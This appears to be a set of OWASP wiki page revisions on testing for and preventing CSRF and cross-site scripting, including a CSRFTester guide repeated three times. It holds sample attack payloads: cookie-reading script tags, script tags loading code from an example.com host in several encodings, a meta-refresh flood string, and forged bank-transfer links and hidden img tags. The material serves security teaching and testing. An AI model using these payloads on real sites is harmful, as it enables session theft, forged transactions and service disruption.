https://[target]/fwmgt/delete?rule=*

or by following a link pointing, directly or via a redirection, to the above URL. Or, again, by accessing an HTML page with an embedded ''img'' tag pointing to the same URL.

In all of these cases, if the user is currently logged in the firewall management application, the request will succeed and will modify the configuration of the firewall. One can imagine attacks targeting sensitive applications and making automatic auction bids, money transfers, orders, changing the configuration of critical software components, etc.

An interesting thing is that these vulnerabilities may be exercised behind a firewall; i.e., it is sufficient that the link being attacked be reachable by the victim (not directly by the attacker). In particular, it can be any Intranet web server; for example, the firewall management station mentioned before, which is unlikely to be exposed to the Internet. Imagine a CSRF attack targeting an application monitoring a nuclear power plant. Sounds far fetched? Probably, but it is a possibility.

Self-vulnerable applications, i.e., applications that are used both as attack vector and target (such as web mail applications), make things worse. If such an application is vulnerable, the user is obviously logged in when he reads a message containing a CSRF attack, that can target the web mail application and have it perform actions such as deleting messages, sending messages appearing as sent by the user, etc.

==How to Test==

===Black Box Testing===

For a black box test the tester must know URLs in the restricted (authenticated) area. If they possess valid credentials, they can assume both roles – the attacker and the victim. In this case, testers know the URLs to be tested just by browsing around the application.

Otherwise, if testers don’t have valid credentials available, they have to organize a real attack, and so induce a legitimate, logged in user into following an appropriate link. This may involve a substantial level of social engineering.

Either way, a test case can be constructed as follows:

* let ''u'' the URL being tested; for example, u = http://www.example.com/action
* build an html page containing the http request referencing URL u (specifying all relevant parameters; in the case of http GET this is straightforward, while to a POST request you need to resort to some Javascript);
* make sure that the valid user is logged on the application;
* induce him into following the link pointing to the URL to be tested (social engineering involved if you cannot impersonate the user yourself);
* observe the result, i.e. check if the web server executed the request.

===Gray Box Testing===

Audit the application to ascertain if its session management is vulnerable. If session management relies only on client side values (information available to the browser), then the application is vulnerable. "Client side values” mean cookies and HTTP authentication credentials (Basic Authentication and other forms of HTTP authentication; not form-based authentication, which is an application-level authentication). For an application to not be vulnerable, it must include session-related information in the URL, in a form of unidentifiable or unpredictable by the user ([3] uses the term ''secret'' to refer to this piece of information).

Resources accessible via HTTP GET requests are easily vulnerable, though POST requests can be automated via Javascript and are vulnerable as well; therefore, the use of POST alone is not enough to correct the occurrence of CSRF vulnerabilities.

==Tools==
* WebScarab Spider http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
* CSRF Tester http://www.owasp.org/index.php/Category:OWASP_CSRFTester_Project
* Cross Site Requester http://yehg.net/lab/pr0js/pentest/cross_site_request_forgery.php (via img)
* Cross Frame Loader http://yehg.net/lab/pr0js/pentest/cross_site_framing.php (via iframe)
* Pinata-csrf-tool http://code.google.com/p/pinata-csrf-tool/

==References==
'''Whitepapers'''<br>
* Peter W: "Cross-Site Request Forgeries" - http://www.tux.org/~peterw/csrf.txt
* Thomas Schreiber: "Session Riding" - http://www.securenet.de/papers/Session_Riding.pdf
* Oldest known post - http://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan
* Cross-site Request Forgery FAQ - http://www.cgisecurity.com/articles/csrf-faq.shtml
* A Most-Neglected Fact About Cross Site Request Forgery (CSRF) - [http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf http://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf ]

==Remediation==

The following countermeasures are divided among recommendations to users and to developers.

<u>Users</u>

Since CSRF vulnerabilities are reportedly widespread, it is recommended to follow best practices to mitigate risk. Some mitigating actions are:

* Logoff immediately after using a web application
* Do not allow the browser to save username/passwords, and do not allow sites to “remember” the log in details.
* Do not use the same browser to access sensitive applications and to surf freely the Internet; if it is necessary to do both things at the same machine, do them with separate browsers.

Integrated HTML-enabled mail/browser, newsreader/browser environments pose additional risks since simply viewing a mail message or a news message might lead to the execution of an attack.

<u>Developers</u>

Add session-related information to the URL. What makes the attack possible is the fact that the session is uniquely identified by the cookie, which is automatically sent by the browser. Having other session-specific information being generated at the URL level makes it difficult to the attacker to know the structure of URLs to attack.

Other countermeasures, while they do not resolve the issue, contribute to make it harder to exploit:

*Use POST instead of GET. While POST requests may be simulated by means of JavaScript, they make it more complex to mount an attack.
*The same is true with intermediate confirmation pages (such as: “Are you sure you really want to do this?” type of pages). They can be bypassed by an attacker, although they will make their work a bit more complex. Therefore, do not rely solely on these measures to protect your application.
*Automatic log out mechanisms somewhat mitigate the exposure to these vulnerabilities, though it ultimately depends on the context (a user who works all day long on a vulnerable web banking application is obviously more at risk than a user who uses the same application occasionally).

==Related Security Activities==

===Description of CSRF Vulnerabilities===

See the OWASP article on [[CSRF]] Vulnerabilities.

===How to Avoid CSRF Vulnerabilities===

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to CSRF |Avoid CSRF]] Vulnerabilities.

===How to Review Code for CSRF Vulnerabilities===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues |Review Code for CSRF]] Vulnerabilities.

===How to Prevent CSRF Vulnerabilites===

See the [http://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet OWASP CSRF Prevention Cheat Sheet] for prevention measures.

CSRFTester Usage

2015-03-12T18:07:17Z

Christina Schelin:

== Overview ==

The following article describes how to utilize the OWASP CSRFTester to generate test cases during an application security assessment.

To download the tool, please visit the [[:Category:OWASP_CSRFTester_Project|OWASP CSRFTester project page]].

== Quick Steps ==

An outline of the steps necessary to launch and utilize the CSRFTester:

::# Update the JAVA_HOME environment variable in run.bat.
::# Double-click run.bat.
::# Configure your browser to proxy through CSRFTester.
::# Record the execution of a business function.
::# Modify the parameters of the recorded business function.
::# Generate an HTML report that carries out the business function.
::# In a separate browser window (and with a separate user), view the generated HTML file.

If the action was successfully carried out, then the application is vulnerable to CSRF.

== Full Steps ==

=== Launch OWASP CSRFTester ===

The CSRFTester distribution contains three files:

# run.bat
# OWASP-CSRFTester-1.0.jar
# lib\concurrent.jar

The run.bat script configures the classpath to include the required jars and invokes the appropriate main class. Currently, the batch script assumes your JDK runtime exists under <code>C:\AppSecWorkbench\jdk16\jre</code>. Obviously, this will not be the correct location of your JVM. Make sure you '''update the JAVA_HOME environment variable''' in run.bat before attempting to execute the batch file. Assuming proper configuration, executing run.bat should launch CSRFTester. If an error occurs, evident when the command line interface quickly disappears, consider opening up a separate CLI and CD directly to the folder of your run.bat file and execute it via command line. Any errors that may occur will display to stdout.

=== Record Execution of Business Functions ===

Once the CSRFTester loads successfully, we must record a transaction that we want to test for CSRF. First, configure the browser to proxy all HTTP traffic through CSRFTester. We can configure this proxy behavior in IE using the Tools menu: Select Tools > Internet Options > Connections > LAN Settings will display the proxy configuration dialog.

[[Image:IE Proxy.PNG]]

CSRFTester defaults to using port 8008 on localhost for its proxy. You need to configure IE to relay requests to CSRFTester, rather than fetching them itself, as shown in the above image. Make sure that all checkboxes are unchecked, except for "Use a proxy server". Once you have configured IE to use the proxy, select Ok on all dialogs to get back to the browser. Browse to a non-SSL website, and then switch to CSRFTester.

If the proxy was successfully configured, CSRFTester will generate debug messages to stdout for all subsequent HTTP requests generated by your browser. At this point, we need to locate a particular business function that we want to test for CSRF. Browse to the page where the business function (or functions) are first "loaded". Once this page is located, select the "Start Recording" button in CSRFTester and execute the business function or functions. Once complete, click the "Stop Recording" button within CSRFTester. You'll notice that the list on the main screen now has a series of requests recorded. These are all of the GET/POST requests generated by our browser while executing the business function(s). By selecting one of the rows in the list, we now have the ability to modify the parameters that were used to execute the business function. We can modify the "query string" parameters and "form" parameters through their respective panes on the bottom half of the screen. Note that these are the values we wish to trick the end user into submitting. Once all of the parameters have been modified to contain your desired values, we are now ready to begin generating HTML reports.

=== Generate HTML Reports ===

The HTML reports generated by the CSRFTester tool are used to carry out the CSRF test cases against other users of the web application. To generate a report, we first must select a "report type". The report type determines how we want the victims browser to submit the previously recorded requests. There currently exists 5 possible reports: forms, iFrame, IMG, XHR, and Link.

'''Forms''': This report type will submit the request(s) using auto-posting forms
'''iFrame''': This report type will submit the request(s) using and auto-submitting iframe tag.
'''IMG''': This report will submit the request(s) using the <img src="..."/> tag
'''XHR''': This report will submit the request(s) using XMLHttpRequest. Note that this is subject to the same origin policy.
'''Link''': This report will submit the request(s) when the user clicks a link.

Once a report type is selected, you can optionally launch the newly generated report in your browser. To enable/disable this option, check/uncheck the "Display in Browser" checkbox next to the "Generate HTML" button in the bottom right-hand corner. Finally, we can click the "Generate HTML" button to create the HTML report that will submit our recorded (and possibly modified) actions. To carry out the test case, open a new browser instance, authenticate as another user with access to the same business function(s), and have that user/browser launch the newly created HTML report file. If the action was carried out after viewing the file in the same browser window that was used to authenticate the new user (i.e. the victim), then that particular business function is vulnerable to cross-site request forgery.

Testing for Cross site scripting

2015-03-10T16:36:15Z

Christina Schelin:

[[http://www.owasp.org/index.php/Web_Application_Penetration_Testing_AoC Up]]<br>
{{Template:OWASP Testing Guide v2}}

== Overview ==
[[Cross-site Scripting (XSS)]] attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user in the output it generates without validating or encoding it.

==Related Security Activities==

===Description of Cross-site scripting Vulnerabilities===

See the OWASP articles on [[Cross-site Scripting (XSS)]] Vulnerabilities and [[DOM Based XSS]].

===How to Avoid Cross-site scripting Vulnerabilities===

See the [[:Category:OWASP Guide Project|OWASP Guide]] article on [[Phishing|Phishing]].

===How to Review Code for Cross-site scripting Vulnerabilities===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for Cross-site scripting|Reviewing code for Cross-site scripting]] Vulnerabilities.

[[Category:Security Focus Area]]
__NOTOC__
== Description of the Issue ==
[[Category:FIXME|I think this whole section needs to be deleted]]

[[XSS]] attacks are essentially code injection attacks into the various interpreters in the browser. These attacks can be carried out using HTML, JavaScript, VBScript, ActiveX, Flash, and other client-side languages. These attacks also have the ability to gather data from account hijacking, changing of user settings, cookie theft/poisoning, or false advertising is possible. In some cases, Cross Site Scripting vulnerabilities can perform other functions such as scanning for other vulnerabilities and performing a Denial of Service on your web server.

Cross Site Scripting is an attack on the privacy of clients of a particular web site which can lead to a total breach of security when customer details are stolen or manipulated. Unlike most attacks, which involve two parties (the attacker and the web site, or the attacker and the victim client) the XSS attack involves three parties -- the attacker, a client and the web site. The goal of the XSS attack is to steal the client cookies or any other sensitive information which can authenticate the client to the web site. With the token of the legitimate user at hand, the attacker can proceed to act as the user in his/her interaction with the site, impersonating the user - Identity theft!

Online message boards, web logs, guestbooks, and user forums where messages can be permanently stored also facilitate Cross Site Scripting attacks. In these cases, an attacker can post a message to the board with a link to a seemingly harmless site, which subtly encodes a script that attacks the user once they click the link. Attackers can use a wide range of encoding techniques to hide or obfuscate the malicious script and, in some cases, can avoid explicit use of the <Script> tag. Typically, XSS attacks involve malicious JavaScript, but they can also involve any type of executable active content. Although the types of attacks vary in sophistication, there is a generally reliable method to detect XSS vulnerabilities. Cross Site Scripting is used in many Phishing attacks.

'''Now we explain the three types of Cross Site Scripting: Stored, Reflected, and DOM-Based.'''

The '''Stored Cross Site Scripting''' vulnerability is the most powerful kind of XSS attack. A Stored XSS vulnerability exists when data provided to a web application by a user is first stored persistently on the server (in a database, filesystem, or other location), and later displayed to users in a web page without being encoded using HTML entity encoding. A real life example of this would be the Samy MySpace Worm, which exploited an XSS vulnerability found on MySpace in October of 2005.

These vulnerabilities are the most significant of the XSS types because an attacker can inject the script just once. This could potentially hit a large number of other users with little need for social engineering, or the web application could even be infected by a cross-site scripting virus.

'''Example'''

If we have a site that permits us to leave a message to the other user (a lesson of WebGoat v3.7), and we inject a script insted of a message in the following way:

<center>[[Image:XSSStored1.PNG]]</center>

Now the server will store this information and when a user clicks on our fake message, his browser will execute our script as follows:

<center>[[Image:XSSStored2.PNG]]</center>

The '''Reflected Cross-Site Scripting''' vulnerability is by far the most common and well-known type. These holes show up when data provided by a web client is used immediately by server-side scripts to generate a page of results for that user. If unvalidated user-supplied data is included in the resulting page without HTML encoding, this will allow client-side code to be injected into the dynamic page. A classic example of this is in site search engines: if one searches for a string which includes some HTML special characters, often the search string will be redisplayed on the result page to indicate what was searched for, or will at least include the search terms in the text box for easier editing. If all occurrences of the search terms are not HTML entity encoded, an XSS hole will result.

At first glance, this does not appear to be a serious problem since users can only inject code into their own pages. However, with a small amount of social engineering, an attacker could convince a user to follow a malicious URL which injects code into the results page, giving the attacker full access to that page's content. Due to the general requirement of the use of some social engineering in this case (and normally in DOM-Based XSS vulnerabilities as well), many programmers have disregarded these holes as not terribly important. This misconception is sometimes applied to XSS holes in general (even though this is only one type of XSS) and there is often disagreement in the security community as to the importance of cross-site scripting vulnerabilities. The simplest way to show the importance of a XSS vulnerability would be to perform a Denial of Service attack.
In some cases a Denial of Service attack can be performed on the server by doing the following:

article.php?title=<meta%20http-equiv="refresh"%20content="0;">

This makes a refresh request roughly about every .3 seconds to particular page. It then acts like an infinite loop of refresh requests, potentially bringing down the web and database server by flooding it with requests. The more browser sessions that are open, the more intense the attack becomes.

The '''DOM-based Cross-Site Scripting''' problem exists within a page's client-side script itself. If the JavaScript accesses a URL request parameter (an example would be an RSS feed) and uses this information to write some HTML to its own page, and this information is not encoded using HTML entities, an XSS vulnerability will likely be present, since this written data will be re-interpreted by browsers as HTML which could include additional client-side script.
Exploiting such a hole would be very similar to the exploitation of Reflected XSS vulnerabilities, except in one very important situation.

For example, if an attacker hosts a malicious website which contains a link to a vulnerable page on a client's local system, a script could be injected and would run with privileges of that user's browser on their system. This bypasses the entire client-side sandbox, not just the cross-domain restrictions that are normally bypassed with XSS exploits.

The methods of injection can vary a great deal. A perfect example of how this type of an attack could impact an organization, instead of an individual, was demonstrated by Jeremiah Grossman @ BlackHat USA 2006. The demonstration gave an example of how posting a stored XSS script to a popular blog, newspaper, or page comments section of a website can cause all the visitors of that page to have their internal networks scanned and logged for a particular type of vulnerability.

==Black Box testing and example==

One way to test for XSS vulnerabilities is to verify whether an application or web server will respond to requests containing simple scripts with an HTTP response that could be executed by a browser. For example, Sambar Server (version 5.3) is a popular freeware web server with known XSS vulnerabilities. Sending the server a request such as the following generates a response from the server that will be executed by a web browser:<BR>

<nowiki>http://server/cgi-bin/testcgi.exe?<SCRIPT>alert(“Cookie”+document.cookie)</SCRIPT></nowiki>

The script is executed by the browser because the application generates an error message containing the original script, and the browser interprets the response as an executable script originating from the server.
All web servers and web applications are potentially vulnerable to this type of misuse, and preventing such attacks is extremely difficult.

'''Example 1:'''

Since JavaScript is case sensitive, some people attempt to filter XSS by converting all characters to upper case, rendering Cross Site Scripting utilizing inline JavaScript useless. If this is the case, you may want to use VBScript since it is not a case sensitive language.

JavaScript:

<script>alert(document.cookie);</script>

VBScript:

<script type="text/vbscript">alert(DOCUMENT.COOKIE)</script>

Also, you can use the SRC attribute to load the attacker's JavaScript from an external site (see Example 2 below), causing the JavaScript payload to be loaded directly and bypassing capitalization effects altogether.

'''Example 2:'''

If they are filtering for the < or the open of <script or closing of script> you should try various methods of encoding:

<nowiki><script src=http://www.example.com/malicious-code.js></script></nowiki>

<nowiki>%3cscript src=http://www.example.com/malicious-code.js%3e%3c/script%3e</nowiki>

<nowiki>\x3cscript src=http://www.example.com/malicious-code.js\x3e\x3c/script\x3e</nowiki>

You can find more examples of XSS Injection here: http://www.owasp.org/index.php/OWASP_Testing_Guide_Appendix_C:_Fuzz_Vectors

== References ==

'''Whitepapers'''<br>

* RSnake: "XSS (Cross Site Scripting) Cheat Sheet" - http://ha.ckers.org/xss.html

* Jeremiah Grossman: "Hacking Intranet Websites from the Outside "JavaScript malware just got a lot more dangerous"" - http://www.blackhat.com/presentations/bh-jp-06/BH-JP-06-Grossman.pdf

* Amit Klien: "DOM Based Cross Site Scripting" - http://www.securiteam.com/securityreviews/5MP080KGKW.html

* Paul Lindner: "Preventing Cross-site Scripting Attacks" - http://www.perl.com/pub/a/2002/02/20/css.html

* CERT: "CERT Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests" - http://www.cert.org/advisories/CA-2000-02.html

* Aung Khant: "What XSS Can do - Benefits of XSS From Attacker's view" - http://yehg.net/lab/pr0js/papers/What%20XSS%20Can%20Do.pdf

'''Tools'''

* '''OWASP CAL9000''' - http://www.owasp.org/index.php/Category:OWASP_CAL9000_Project
CAL9000 includes a sortable implementation of RSnake's XSS Attacks, Character Encoder/Decoder, HTTP Request Generator and Response Evaluator, Testing Checklist, Automated Attack Editor and much more. It's hosted at: http://sec101.sourceforge.net/CAL9000/

* '''PHP Charset Encoder(PCE)''' - http://yehg.net/encoding
PCE helps you encode arbitrary texts to and from 65 kinds of charsets that you can use in your customized payloads.

* '''HackVector(HVR)''' - http://www.businessinfo.co.uk/labs/hackvertor/hackvertor.php

{{Category:OWASP Testing Project AoC}}

CSRFTester Usage

2015-03-10T15:51:55Z

Christina Schelin:

== Overview ==

The following article describes how to utilize the OWASP CSRFTester to generate test cases during an application security assessment.

To download the tool, please visit the [[:Category:OWASP_CSRFTester_Project OWASP|CSRFTester project page]].

== Quick Steps ==

An outline of the steps necessary to launch and utilize the CSRFTester:

::# Update the JAVA_HOME environment variable in run.bat.
::# Double-click run.bat.
::# Configure your browser to proxy through CSRFTester.
::# Record the execution of a business function.
::# Modify the parameters of the recorded business function.
::# Generate an HTML report that carries out the business function.
::# In a separate browser window (and with a separate user), view the generated HTML file.

If the action was successfully carried out, then the application is vulnerable to CSRF.

== Full Steps ==

=== Launch OWASP CSRFTester ===

The CSRFTester distribution contains three files:

# run.bat
# OWASP-CSRFTester-1.0.jar
# lib\concurrent.jar

The run.bat script configures the classpath to include the required jars and invokes the appropriate main class. Currently, the batch script assumes your JDK runtime exists under <code>C:\AppSecWorkbench\jdk16\jre</code>. Obviously, this will not be the correct location of your JVM. Make sure you '''update the JAVA_HOME environment variable''' in run.bat before attempting to execute the batch file. Assuming proper configuration, executing run.bat should launch CSRFTester. If an error occurs, evident when the command line interface quickly disappears, consider opening up a separate CLI and CD directly to the folder of your run.bat file and execute it via command line. Any errors that may occur will display to stdout.

=== Record Execution of Business Functions ===

Once the CSRFTester loads successfully, we must record a transaction that we want to test for CSRF. First, configure the browser to proxy all HTTP traffic through CSRFTester. We can configure this proxy behavior in IE using the Tools menu: Select Tools > Internet Options > Connections > LAN Settings will display the proxy configuration dialog.

[[Image:IE Proxy.PNG]]

CSRFTester defaults to using port 8008 on localhost for its proxy. You need to configure IE to relay requests to CSRFTester, rather than fetching them itself, as shown in the above image. Make sure that all checkboxes are unchecked, except for "Use a proxy server". Once you have configured IE to use the proxy, select Ok on all dialogs to get back to the browser. Browse to a non-SSL website, and then switch to CSRFTester.

If the proxy was successfully configured, CSRFTester will generate debug messages to stdout for all subsequent HTTP requests generated by your browser. At this point, we need to locate a particular business function that we want to test for CSRF. Browse to the page where the business function (or functions) are first "loaded". Once this page is located, select the "Start Recording" button in CSRFTester and execute the business function or functions. Once complete, click the "Stop Recording" button within CSRFTester. You'll notice that the list on the main screen now has a series of requests recorded. These are all of the GET/POST requests generated by our browser while executing the business function(s). By selecting one of the rows in the list, we now have the ability to modify the parameters that were used to execute the business function. We can modify the "query string" parameters and "form" parameters through their respective panes on the bottom half of the screen. Note that these are the values we wish to trick the end user into submitting. Once all of the parameters have been modified to contain your desired values, we are now ready to begin generating HTML reports.

=== Generate HTML Reports ===

The HTML reports generated by the CSRFTester tool are used to carry out the CSRF test cases against other users of the web application. To generate a report, we first must select a "report type". The report type determines how we want the victims browser to submit the previously recorded requests. There currently exists 5 possible reports: forms, iFrame, IMG, XHR, and Link.

'''Forms''': This report type will submit the request(s) using auto-posting forms
'''iFrame''': This report type will submit the request(s) using and auto-submitting iframe tag.
'''IMG''': This report will submit the request(s) using the <img src="..."/> tag
'''XHR''': This report will submit the request(s) using XMLHttpRequest. Note that this is subject to the same origin policy.
'''Link''': This report will submit the request(s) when the user clicks a link.

Once a report type is selected, you can optionally launch the newly generated report in your browser. To enable/disable this option, check/uncheck the "Display in Browser" checkbox next to the "Generate HTML" button in the bottom right-hand corner. Finally, we can click the "Generate HTML" button to create the HTML report that will submit our recorded (and possibly modified) actions. To carry out the test case, open a new browser instance, authenticate as another user with access to the same business function(s), and have that user/browser launch the newly created HTML report file. If the action was carried out after viewing the file in the same browser window that was used to authenticate the new user (i.e. the victim), then that particular business function is vulnerable to cross-site request forgery.

CSRFTester Usage

2015-03-10T15:51:43Z

Christina Schelin: Some minor tidying.

== Overview ==

The following article describes how to utilize the OWASP CSRFTester to generate test cases during an application security assessment.

To download the tool, please visit the [[:Category:OWASP_CSRFTester_Project OWASP CSRFTester project page]].

== Quick Steps ==

An outline of the steps necessary to launch and utilize the CSRFTester:

::# Update the JAVA_HOME environment variable in run.bat.
::# Double-click run.bat.
::# Configure your browser to proxy through CSRFTester.
::# Record the execution of a business function.
::# Modify the parameters of the recorded business function.
::# Generate an HTML report that carries out the business function.
::# In a separate browser window (and with a separate user), view the generated HTML file.

If the action was successfully carried out, then the application is vulnerable to CSRF.

== Full Steps ==

=== Launch OWASP CSRFTester ===

The CSRFTester distribution contains three files:

# run.bat
# OWASP-CSRFTester-1.0.jar
# lib\concurrent.jar

The run.bat script configures the classpath to include the required jars and invokes the appropriate main class. Currently, the batch script assumes your JDK runtime exists under <code>C:\AppSecWorkbench\jdk16\jre</code>. Obviously, this will not be the correct location of your JVM. Make sure you '''update the JAVA_HOME environment variable''' in run.bat before attempting to execute the batch file. Assuming proper configuration, executing run.bat should launch CSRFTester. If an error occurs, evident when the command line interface quickly disappears, consider opening up a separate CLI and CD directly to the folder of your run.bat file and execute it via command line. Any errors that may occur will display to stdout.

=== Record Execution of Business Functions ===

Once the CSRFTester loads successfully, we must record a transaction that we want to test for CSRF. First, configure the browser to proxy all HTTP traffic through CSRFTester. We can configure this proxy behavior in IE using the Tools menu: Select Tools > Internet Options > Connections > LAN Settings will display the proxy configuration dialog.

[[Image:IE Proxy.PNG]]

CSRFTester defaults to using port 8008 on localhost for its proxy. You need to configure IE to relay requests to CSRFTester, rather than fetching them itself, as shown in the above image. Make sure that all checkboxes are unchecked, except for "Use a proxy server". Once you have configured IE to use the proxy, select Ok on all dialogs to get back to the browser. Browse to a non-SSL website, and then switch to CSRFTester.

If the proxy was successfully configured, CSRFTester will generate debug messages to stdout for all subsequent HTTP requests generated by your browser. At this point, we need to locate a particular business function that we want to test for CSRF. Browse to the page where the business function (or functions) are first "loaded". Once this page is located, select the "Start Recording" button in CSRFTester and execute the business function or functions. Once complete, click the "Stop Recording" button within CSRFTester. You'll notice that the list on the main screen now has a series of requests recorded. These are all of the GET/POST requests generated by our browser while executing the business function(s). By selecting one of the rows in the list, we now have the ability to modify the parameters that were used to execute the business function. We can modify the "query string" parameters and "form" parameters through their respective panes on the bottom half of the screen. Note that these are the values we wish to trick the end user into submitting. Once all of the parameters have been modified to contain your desired values, we are now ready to begin generating HTML reports.

=== Generate HTML Reports ===

The HTML reports generated by the CSRFTester tool are used to carry out the CSRF test cases against other users of the web application. To generate a report, we first must select a "report type". The report type determines how we want the victims browser to submit the previously recorded requests. There currently exists 5 possible reports: forms, iFrame, IMG, XHR, and Link.

'''Forms''': This report type will submit the request(s) using auto-posting forms
'''iFrame''': This report type will submit the request(s) using and auto-submitting iframe tag.
'''IMG''': This report will submit the request(s) using the <img src="..."/> tag
'''XHR''': This report will submit the request(s) using XMLHttpRequest. Note that this is subject to the same origin policy.
'''Link''': This report will submit the request(s) when the user clicks a link.

Once a report type is selected, you can optionally launch the newly generated report in your browser. To enable/disable this option, check/uncheck the "Display in Browser" checkbox next to the "Generate HTML" button in the bottom right-hand corner. Finally, we can click the "Generate HTML" button to create the HTML report that will submit our recorded (and possibly modified) actions. To carry out the test case, open a new browser instance, authenticate as another user with access to the same business function(s), and have that user/browser launch the newly created HTML report file. If the action was carried out after viewing the file in the same browser window that was used to authenticate the new user (i.e. the victim), then that particular business function is vulnerable to cross-site request forgery.

Cross-Site Request Forgery (CSRF)

2015-03-10T14:56:16Z

Christina Schelin: Tidying up. No factual changes.

{{Template:Attack}}

[[Category:OWASP ASDR Project]]

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Overview==

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker's choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.

==Related Security Activities==

===How to Review Code for CSRF Vulnerabilities===

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing code for Cross-Site Request Forgery issues|review code for CSRF vulnerabilities]].

===How to Test for CSRF Vulnerabilities===

See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing_for_CSRF_(OTG-SESS-005)|test for CSRF vulnerabilities]].

===How to Prevent CSRF Vulnerabilities===

See the [[CSRF Prevention Cheat Sheet]] for prevention measures.

Listen to the [http://www.owasp.org/download/jmanico/owasp_podcast_69.mp3 OWASP Top Ten CSRF Podcast].

Most frameworks have built-in CSRF support such as [http://docs.joomla.org/How_to_add_CSRF_anti-spoofing_to_forms Joomla], [http://blog.eyallupu.com/2012/04/csrf-defense-in-spring-mvc-31.html Spring], [http://web.securityinnovation.com/appsec-weekly/blog/bid/84318/Cross-Site-Request-Forgery-CSRF-Prevention-Using-Struts-2 Struts], [http://guides.rubyonrails.org/security.html#cross-site-request-forgery-csrf Ruby on Rails], [http://www.troyhunt.com/2010/11/owasp-top-10-for-net-developers-part-5.html .NET] and others.

Use [[:Category:OWASP_CSRFGuard_Project|OWASP CSRF Guard]] to add CSRF protection to your Java applications. You can use [[CSRFProtector Project]] to protect your php applications or any project deployed using Apache Server . There is a [[.Net CSRF Guard]] at OWASP as well, but its old and doesn't look complete.

John Melton also has an [http://www.jtmelton.com/2010/05/16/the-owasp-top-ten-and-esapi-part-6-cross-site-request-forgery-csrf/ excellent blog post] describing how to use the native anti-CSRF functionality of the [http://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API OWASP ESAPI].

==Description==

CSRF is an attack that tricks the victim into submitting a malicious request. It inherits the identity and privileges of the victim to perform an undesired function on the victim's behalf. For most sites, browser requests automatically include any credentials associated with the site, such as the user's session cookie, IP address, Windows domain credentials, and so forth. Therefore, if the user is currently authenticated to the site, the site will have no way to distinguish between the forged request sent by the victim and a legitimate request sent by the victim.

CSRF attacks target functionality that causes a state change on the server, such as changing the victim's email address or password, or purchasing something. Forcing the victim to retrieve data doesn't benefit an attacker because the attacker doesn't receive the response, the victim does. As such, CSRF attacks target state-changing requests.

It's sometimes possible to store the CSRF attack on the vulnerable site itself. Such vulnerabilities are called "stored CSRF flaws". This can be accomplished by simply storing an IMG or IFRAME tag in a field that accepts HTML, or by a more complex cross-site scripting attack. If the attack can store a CSRF attack in the site, the severity of the attack is amplified. In particular, the likelihood is increased because the victim is more likely to view the page containing the attack than some random page on the Internet. The likelihood is also increased because the victim is sure to be authenticated to the site already.

=== Synonyms ===

CSRF attacks are also known by a number of other names, including XSRF, "Sea Surf", Session Riding, Cross-Site Reference Forgery, and Hostile Linking. Microsoft refers to this type of attack as a One-Click attack in their threat modeling process and many places in their online documentation.

=== Prevention measures that do '''NOT''' work ===

;Using a secret cookie
:Remember that all cookies, even the ''secret'' ones, will be submitted with every request. All authentication tokens will be submitted regardless of whether or not the end-user was tricked into submitting the request. Furthermore, session identifiers are simply used by the application container to associate the request with a specific session object. The session identifier does not verify that the end-user intended to submit the request.

;Only accepting POST requests
:Applications can be developed to only accept POST requests for the execution of business logic. The misconception is that since the attacker cannot construct a malicious POST request, a CSRF attack cannot be executed. Unfortunately, this logic is incorrect. There are numerous methods in which an attacker can trick a victim into submitting a forged POST request, such as a simple form hosted on the attacker's website composed entirely of hidden fields. This form can be triggered automatically by JavaScript or can be triggered by the victim who thinks the form will do something else.


==Examples==

===How does the attack work?===

There are numerous ways in which an end user can be tricked into loading information from or submitting information to a web application. In order to execute an attack, we must first understand how to generate a valid malicious request for our victim to execute. Let us consider the following example: Alice wishes to transfer $100 to Bob using the ''bank.com'' web application that is vulnerable to CSRF. Maria, an attacker, wants to trick Alice into sending the money to her instead. The attack will comprise the following steps:

# building an exploit URL or script
# tricking Alice into executing the action with [[Social Engineering|social engineering]]

====GET scenario====

If the application was designed to primarily use GET requests to transfer parameters and execute actions, the money transfer operation might be reduced to a request like:

GET <nowiki>http://bank.com/transfer.do?acct=BOB&amount=100</nowiki> HTTP/1.1

Maria now decides to exploit this web application vulnerability using Alice as her victim. Maria first constructs the following exploit URL which will transfer $100,000 from Alice's account to her account. She takes the original command URL and replaces the beneficiary name with herself, raising the transfer amount significantly at the same time:

<nowiki>http://bank.com/transfer.do?acct=MARIA&amount=100000</nowiki>

The [[Social Engineering|social engineering]] aspect of the attack tricks Alice into loading this URL when she's logged into the bank application. This is usually done with one of the following techniques:

* sending an unsolicited email with HTML content
* planting an exploit URL or script on pages that are likely to be visited by the victim while they are also doing online banking

The exploit URL can be disguised as an ordinary link, encouraging the victim to click it:

<nowiki><a href="http://bank.com/transfer.do?acct=MARIA&amount=100000">View my Pictures!</a></nowiki>

Or as a 0x0 fake image:

<nowiki><img src="http://bank.com/transfer.do?acct=MARIA&amount=100000" width="0" height="0" border="0"></nowiki>

If this image tag were included in the email, Alice wouldn't see anything. However, the browser ''will still'' submit the request to bank.com without any visual indication that the transfer has taken place.

